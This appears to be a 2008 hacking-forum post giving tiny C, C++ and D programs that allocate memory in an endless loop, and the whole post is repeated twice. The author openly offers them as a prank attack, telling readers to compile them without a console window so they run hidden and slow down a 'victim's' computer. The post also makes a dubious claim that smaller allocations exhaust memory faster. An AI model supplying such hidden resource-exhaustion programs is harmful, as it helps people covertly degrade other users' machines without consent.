DANIEL2488
01-26-2008, 02:05 PM
Memory leaks are fairly easy to create. I'll give a few samples.
/* Memory Leak in C */
int main()
{
while (1)
{
malloc(sizeof(char));
}
return 0;
}
/* Memory Leak in C++ - Previous example works as well
but faster */
#include <string>
int main()
{
while (1)
{
new std::string;
}
return 0;
}
/* Memory Leak in D */
import std.gc;
void main()
{
std.gc.disable(); // IMPORTANT
while (1)
{
new Object();
}
}
Something that I've found to be true is that the smaller the thing you allocate, the greater the memory leak in a smaller amount of time. This means it takes less time to allocate space for a small data type like a character than a larger data type like a C++ string, or a D Object.
So what's the big deal, right? It's a memory leak, and Windows (and other OSes) forces the program to terminate or reduce its memory usage if it gets to a dangerous level.
The thing is, if the program doesn't quit, it really slows down the other computer. So here's what you do: you compile this with no terminal window/console, and it runs in the background, slowing down the victim's computer.
Not much of a tutorial, but hey, anyone got something apart from hacking soda vending machines?
/* Memory Leak in C */
int main()
{
while (1)
{
malloc(sizeof(char));
}
return 0;
}
/* Memory Leak in C++ - Previous example works as well
but faster */
#include <string>
int main()
{
while (1)
{
new std::string;
}
return 0;
}
/* Memory Leak in D */
import std.gc;
void main()
{
std.gc.disable(); // IMPORTANT
while (1)
{
new Object();
}
}
Something that I've found to be true is that the smaller the thing you allocate, the greater the memory leak in a smaller amount of time. This means it takes less time to allocate space for a small data type like a character than a larger data type like a C++ string, or a D Object.
So what's the big deal, right? It's a memory leak, and Windows (and other OSes) forces the program to terminate or reduce its memory usage if it gets to a dangerous level.
The thing is, if the program doesn't quit, it really slows down the other computer. So here's what you do: you compile this with no terminal window/console, and it runs in the background, slowing down the victim's computer.
Not much of a tutorial, but hey, anyone got something apart from hacking soda vending machines?